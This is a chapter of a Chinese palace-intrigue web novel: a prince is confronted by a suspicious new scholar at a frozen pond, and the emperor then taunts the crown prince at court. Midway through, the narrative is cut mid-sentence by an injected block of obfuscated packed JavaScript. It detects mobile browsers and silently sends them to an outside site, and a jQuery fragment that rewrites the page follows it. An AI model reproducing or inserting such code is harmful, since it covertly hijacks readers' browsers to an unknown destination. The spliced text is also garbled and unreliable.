第二日一早。
昨晚的雨不知什么时候停了,刺目日光透过窗棂撒到内殿中,是个艳阳天。
在起床前谢告禅就已经离开,谢念不急不缓洗漱完,照例绕开前殿巡逻的侍卫,朝着玉寒池的方向走去。
自从他落水后,玉寒池便传出了阴气重,鬼气森森的传言。没人再敢去那附近散步,连晚上太监打更的时候都会刻意绕开那里。
作为事件的亲历者,谢念却没什么感觉。
他还是很喜欢夏天时候玉寒池里盛开的荷花,隔着半人高的围栏,有时候一看就是一整天。直到暮色降临时分,他才会顺着宫道慢慢走回去,算是他一天里为数不多的活动之一。
虽然现在是冬天,湖面上都结了冰,只剩下些残枝败柳,但谢念还是会偶尔过去发呆。
今天路上同样没碰到人,路上湿滑不好行走,谢念便绕过那些光滑的青石砖,靠着宫墙边慢慢行走。
玉寒池比往常更加萧瑟。
湖面结冰,靠近栏杆的地方被人为凿出一个洞,偶尔能看见金黄色的锦鲤从底下缓缓游过,亭子上的雪在日光之下渐渐融化,滴答到地面上,又结成了薄薄一层冰。
谢念半倚在栏杆边缘,眼睫低垂,目光随着冰面下的锦鲤移动。
他今日穿了一身天青色的对襟长袍,因为太阳大的原因,并未披上貉绒大氅,显得他身形愈发清癯单薄。
他看得入神,连身后越来越近的脚步声都没理睬。
脚步声在身后停下,一道清朗声线响起:“见过五殿下。”
谢念偏头,目光落在面前的陌生人身上。
他半眯起眼睛,没有第一时间回答。
面前之人身着一身读书人的衣服,气质温润,眼神规规矩矩,没有四处乱看,打完招呼后也不着急,等着谢念回答。
谢念微微挑眉,仍旧倚在栏杆上:“我没见过你。”
苏文清恭恭敬敬朝着谢念行了个礼:“在下苏文清,是今年刚及第的进士,尚未入朝,唐突殿下了。”
谢念眼中警惕更甚,他稍稍向后退了一步,拉开和苏文清之间的距离。
他从未在外界露过面,为什么这人刚打照面就喊出了他的身份?
谢念语气显得冷淡起来:“还没入朝,不先去见皇上,就来勾结皇子么?”
苏文清笑了下:“臣不了解皇宫内部格局,一时迷了路,兜兜转转走到了这里,实在是无心之举。”
谢念不信。
刚才的脚步声不偏不倚,是直直冲着他过来的。
“第一次来皇宫?”谢念神色漠然。
“是。”
谢念转身,再次面朝玉寒池,伸手指向冰面上的洞口:“那你应该不了解这里。”
“有人从这里跳下去过,”谢念开始面无表情地胡说八道,“捞起来后便成了个傻子,成日乱喊有人要害他,还有人说那日确实看到了某个不知名黑影,从栏杆边猛地把那个傻子推了下去。”
“怪力乱神之说由此流传开来,这地方就荒废了。”
“你还敢来,真是勇气可嘉。”谢念嘲讽道。
苏文清笑意不减:“臣从来不信怪力乱神之说。”
谢念语气不变:“你信不信和我无关。”
苏文清:“臣同样不信有关殿下的流言。”
谢念神色冷了下来。
“谁派你来的?”
从一开始,这人就别有用心。
三皇子和四皇子若是想捉弄他,不会兜兜转转绕这么大一个圈子,他们喜欢在限度内极尽所能的直接羞辱他,这种委婉的手段不符合他们的风格。
还能是谁?
苏文清朝谢念行礼:“臣对殿下并无敌意……”
谢念冷笑一声。
苏文清也不恼火,突然调转了话题:“有没有人和殿下说过,殿下长得并不像当今圣上?”
话音落下,谢念脑海中升起了一个念头——想把面前这个人推下去。
沉到池底,无人知晓。
他手无缚鸡之力,又在禁足,没人会怀疑到他身上。
苏文清笑眯眯地说:“反倒更像皇后呢。”
谢念脸上没有露出一丝一毫的不快之意,他还是倚靠在栏杆上,一阵寒风吹过,碎发拂过脸侧,衬得他脸色更加素白。
想把他推下去。
但现在不是时候。
苏文清刚见面就能喊出他的身份,说明背后之人同样对他很熟悉,说不定就是谢念认识的某个人。
现在杀了,不能斩草除根,反而后患无穷。
谢念闭上眼,仰头感受冬日里寒冷的空气。
如果再次从这里跳下去,谢告禅还会像那次一样救他出来吗?
……思绪逐渐滑向不可控的深渊,谢念摇了摇头,将这种想法从脑海中甩了出去。
苏文清一动不动地注视着谢念,心中想的却是别的事情。
若不是那人和他提前说过,刚才谢念转过来的时候,他倒是真有可能错喊成五公主。
皇帝以及他的四个儿子全都五官深邃,气质阴郁,让人不敢直视——然而谢念不同,他没有那种阴沉冷森的气质,身形虽然清癯,神色虽然冷淡,但更像是天上月,让人不自觉产生一种妄图水中捞月的旖念。
国师当初就是预言的这个人会给国家带来灾祸吗?
“你会水吗?”谢念突兀开口。
苏文清思绪被打断,猛地回神,一时半会儿没明白谢念的意思,显得有些茫然:“啊?”
谢念盯着苏文清看了好一阵,最后还是放弃了杀生的想法。
先留着,说不定还有用。
“滚吧,趁我还没反悔。”谢念面无表情道。
-
政事殿。
殿内烟雾缭绕,炼丹用的炉子明晃晃摆在正中央,却无人敢对此有所置喙,各个眼观鼻,鼻观心,等着上首的皇帝发号施令。
皇帝的脸隐藏在烟雾之后,一旁的贴身太监焦急地转来转去,一会儿到门口去望,一会儿又走到皇帝身边,悄声说着什么。
“今年的探花郎还没到?”皇帝懒洋洋道。
“奴家都找了好几圈了,”太监有些汗流浃背,“实在是找不到,皇上您看……”
皇帝摆了摆手。
太监会意,扯着尖利的嗓子开口道:“今日召集各位大臣,是为了边境战事……”
边疆战事频频告急,自谢告禅回来后败绩频出,驻守的将军在前
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16295048|182704||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
线苦苦支撑,多次派人传信求救支援。
底下大臣开始窸窸窣窣地低声聊起来,谢告禅站在众大臣的前面,看不出来在想什么。
皇帝视线扫过一圈,开口时显得兴致盎然:“众爱卿可有什么想法?”
有人大着胆子开口:“臣以为,当今要务是要向边疆输送粮草,以防前线供应不足。”
皇帝没说好,也没说不好,继续问道:“还有呢?”
又有大臣站出来:“我大岚有皇天后土庇佑,皇上大可不必如此忧虑,区区几个小国,实在不足为虑!”
皇帝神情没什么变化,陆陆续续又有大臣站出来,说什么的都有,谢告禅始终保持沉默,没有任何要发表意见的意思。
今日召集这么多大臣过来,就是做戏给他看的。
为了证明边疆并不是非谢告禅不可,为了证明这么多大臣加起来,总能想出一个合适的决策出来。
谢告禅对皇帝的心思心知肚明,自然也不多言,只是站在前首,等着皇帝什么时候厌倦了他们叽叽喳喳的声音,他今天的任务也就算结束了。
果然,没过多久,皇帝就开始不耐地揉起额角。
炼丹的炉子还在源源不断的释放烟雾,整个大殿中烟雾缭绕,殿内所有人却都相当默契的视而不见,将咳嗽声压到最小。
“行了,”皇帝语气里带着点不耐烦,“一群废物,你们到底能干点儿什么?”
底下的人立即噤声。
“都滚吧!”
随着话音落下,众大臣暗暗松了口气,齐声道:“陛下万岁万岁万万岁”后,便准备离开。
“太子留下。”
谢告禅脚步一顿,站在了原地。
那些大臣显然不愿意搅进这对父子的暗流涌动里,不到片刻就散了个干干净净,殿内只剩下皇帝和谢告禅二人。
谢告禅站在下首,抬头望向皇帝,他的脸隐藏在阴影里,让人琢磨不透他的心思。
良久过后,皇帝才开口。
“告禅啊,”他语气里带着一点点戏谑之意,“父皇昨日给你选的那几名女子怎么样?”
刚才的阴郁恐怖一眨眼又消失的无影无踪,脾气阴晴不定到了一种诡异的地步。
果然是冲着这个来的。
谢告禅神情不卑不亢,对着皇帝行礼:“儿臣请父皇收回成命。”
大概想过谢告禅会这么回答,皇帝显得并不惊讶,他只是饶有兴致地继续问道:“哦?枢密使家的女儿也没有看上吗?”
谢告禅:“父皇多虑了。”
皇帝大笑出声:“你这孩子,怎么从小就经不起玩笑话?父皇不过是捉弄你而已,怎么还当真了?”
谢告禅没有说话。
他的态度丝毫没有扫了皇帝的兴,皇帝依旧兴致高昂:“当真不喜欢枢密使家的姑娘?”
谢告禅摇头。
皇帝笑了起来:“可我倒是听说,他家姑娘要死要活,非你不可,真是难办。”
谢告禅仍旧沉默。
“你说,我应该怎么办才好?”皇帝起身,居高临下地看着他。
没等谢告禅回答,皇帝突然又笑了起来,眼底闪烁着恶劣的光芒:“不如你去替她寻个好夫婿?”